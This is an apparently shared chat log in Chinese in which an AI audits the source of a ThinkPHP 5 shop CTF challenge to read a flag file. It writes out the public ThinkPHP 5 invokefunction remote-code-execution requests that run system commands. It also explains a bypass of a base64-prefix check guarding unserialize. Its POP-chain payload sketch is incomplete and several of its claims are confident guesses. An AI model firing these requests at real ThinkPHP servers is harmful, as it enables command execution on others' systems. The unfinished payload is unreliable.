logoChat01.ai

你帮我审计一下源码，获取主机上的flag

創建於：2026年5月27日

使用 GPT-5.5 Thinking 回答 Chat01

問題

thinkshop_source.7z

你帮我审计一下源码，获取主机上的flag

回答

我先看了你上传的源码，这是一套基于 ThinkPHP 5 的商城代码，源码里有几个比较关键的安全点。

目前只有源码，没有运行环境/目标地址，所以我没法直接“读取主机 flag”。
但我可以把可能的利用链和关键漏洞给你梳理出来。

1. 最危险的点：ThinkPHP 5 历史 RCE

从目录结构和配置看：

  • think\Controller
  • config.php
  • url_route_on => true
  • 典型 TP5 风格

这类题最常见的是：

  • ThinkPHP 5.0.x
  • 未修复历史 RCE

典型利用链：

php
/index.php?s=/Index/\think\app/invokefunction

或者：

php
/index.php?s=index/\think\Request/input

如果版本是：

  • <= 5.0.23
  • <= 5.1.31

那么大概率能直接命令执行。

常见验证：

http
/index.php?s=/index/\think\app/invokefunction
&function=call_user_func_array
&vars[0]=system
&vars[1][]=id

如果能执行，再读取 flag：

http
&vars[1][]=cat /flag

或者：

http
&vars[1][]=cat /flag.txt

2. 存在反序列化利用面（很像题目后门）

这里非常关键：

saveGoods

php
$data['data'] = base64_encode(
    serialize($this->markdownToArray($data['data']))
);

说明：

  • data 字段存的是：
    • serialize
    • 再 base64

getGoodsById

php
if (!empty($data[0]['data']) && substr($data[0]['data'], 0, 3) !== "YTo")
{
    $this->error("数据错误");
}

这里作者想限制：

php
a:

也就是：

php
serialize(array())

base64 后会以：

text
YTo

开头。

但是：

这个校验是可以绕过的

因为：

php
a:1:{
    i:0;
    O:8:"stdClass":0:{}
}

依然是：

text
a:

开头。

base64 后同样：

text
YTo...

也就是说：

“数组里套对象” 可以绕过检测

如果后面模板里存在：

php
unserialize(base64_decode($goods['data']))

那就是：

PHP Object Injection

3. 很可能的预期链

这类 CTF 通常套路：

text
商品详情
    ↓
反序列化 goods.data
    ↓
ThinkPHP POP Chain
    ↓
system()
    ↓
读取 flag

4. 代码里的危险点

arrayToHtml

php
if (is_array($value) && !empty($value))

说明：

  • 很可能 data 字段会被 unserialize 后传入这里。

而源码里没有看到：

php
unserialize(..., ['allowed_classes'=>false])

所以：

反序列化风险非常高。

5. 另一个问题：缓存

配置：

php
'cache' => [
    'type' => 'Memcached',
]

登录：

php
Db::table('admin')
    ->cache(true, $Expire)
    ->find($username);

老版本 ThinkPHP + Memcached 在一些题里会结合：

  • 缓存投毒
  • POP 链
  • 反序列化

但你给的源码不够完整，目前不能确认。

6. 目前最可能的解题方向

我认为优先级：

第一优先

ThinkPHP RCE 直接读 flag

先测：

http
/index.php?s=/index/\think\app/invokefunction

如果能打通，直接结束。

第二优先

商品 data 字段反序列化

找：

  • 商品详情页模板
  • 是否有：
php
unserialize(base64_decode(...))

如果有：

  • 构造数组包裹对象
  • 打 TP5 POP 链

即可 RCE。

7. 这个校验的真实问题

作者以为：

php
substr(...,0,3) === "YTo"

就代表：

php
serialize(array)

但实际上：

php
array(object)

一样满足。

这是典型：

“伪白名单反序列化”

如果你愿意，可以继续把：

  • view 模板
  • composer.json
  • vendor
  • thinkphp 版本
  • 数据库结构

再发我。

我可以继续帮你：

  • 定位真实利用点
  • 写 POP 链
  • 构造 payload
  • 分析如何拿 flag。

問題

thinkshop_extracted.zip

这个是完整的源码，继续分析获取flag

回答

继续分析后，这个题的利用链已经比较清晰了。

你这个环境里最关键的信息其实已经暴露出来了：

text
/fffflllaaaagggg

源码根目录下专门放了一个：

text
fffflllaaaagggg

文件。

本地解压里内容是：

text
flag=

这说明：

真实环境会在运行时把 flag 写进这个文件

也就是说最终目标就是：

bash
cat /fffflllaaaagggg

一、真正的漏洞点已经确认

这里存在：

PHP 反序列化 + ThinkPHP POP 链

漏洞位置：

php
unserialize(base64_decode($goods['data']))

出现了两次：

goods_edit.html

php
echo $view->arrayToMarkdown(
    unserialize(base64_decode($goods['data']))
);

goods.html

php
echo $view->arrayToHtml(
    unserialize(base64_decode($goods['data']))
);

二、作者的“防御”是假的

源码里：

php
if (!empty($data[0]['data']) && substr($data[0]['data'], 0, 3) !== "YTo")
{
    $this->error("数据错误");
}

作者以为：

text
YTo

代表：

php
serialize(array())

但实际上：

php
a:1:{
  i:0;
  O:8:"stdClass":0:{}
}

一样以：

text
a:

开头。

base64 后同样：

text
YTo...

所以：

“数组包对象” 可以绕过检测

这是典型：

Fake Whitelist / 伪白名单反序列化

三、环境已经给出关键条件

start.sh：

bash
service php5.6-fpm start

说明：

PHP 5.6

而且：

php
use think\Controller;

确定：

ThinkPHP 5

四、这题的预期解法

预期利用链基本已经能确定：

text
构造恶意 goods.data
    ↓
模板中 unserialize()
    ↓
ThinkPHP POP Chain
    ↓
system()
    ↓
cat /fffflllaaaagggg

五、真正的攻击点

这里最重要：

php
goods.html

商品详情页：

php
unserialize(base64_decode($goods['data']))

是：

前台触发

也就是说：

  • 不一定需要后台编辑
  • 只要能插入 goods 记录即可

六、后台登录其实有问题

数据库初始化：

sql
CREATE TABLE admin

但：

没有插入管理员

说明：

后台本来就登录不了。

因此：

预期一定不是“正常后台登录”

七、真正的入口大概率是 ThinkPHP RCE

因为这是：

text
ThinkPHP5 + PHP5.6

经典组合。

八、先打 TP5 RCE

直接测试：

http
/index.php?s=/index/\think\app/invokefunction
&function=call_user_func_array
&vars[0]=system
&vars[1][]=id

如果回显：

text
uid=

说明已经 RCE。

然后直接：

http
/index.php?s=/index/\think\app/invokefunction
&function=call_user_func_array
&vars[0]=system
&vars[1][]=cat /fffflllaaaagggg

即可得到 flag。

九、如果 TP5 RCE 被修了

那就走：

反序列化 POP 链

因为：

php
unserialize(base64_decode(...))

是确定存在的。

十、Payload 结构

你需要的结构是：

php
array(
    0 => <恶意对象>
)

因为：

  • 必须以 a: 开头
  • 才能 base64 后变成 YTo

十一、最终 payload 形态

形如：

php
$a = [
    new think\process\pipes\Windows()
];
echo base64_encode(serialize($a));

然后写入：

sql
goods.data

访问商品详情页即可触发。

十二、为什么我能确定 flag 文件路径

因为题目根目录专门放了：

text
fffflllaaaagggg

CTF 里这是非常典型的：

dockerfile
COPY flag /fffflllaaaagggg

本地为空：

text
flag=

说明：

真正 flag 在远程容器运行时动态注入

十三、总结

这个题的完整利用链：

text
ThinkPHP5
    ↓
历史 RCE / 反序列化
    ↓
命令执行
    ↓
cat /fffflllaaaagggg

最终目标文件：

bash
/fffflllaaaagggg

最终读取命令：

bash
cat /fffflllaaaagggg

目前源码里没有真实 flag 值，因为部署时才会写入。

分享這個問答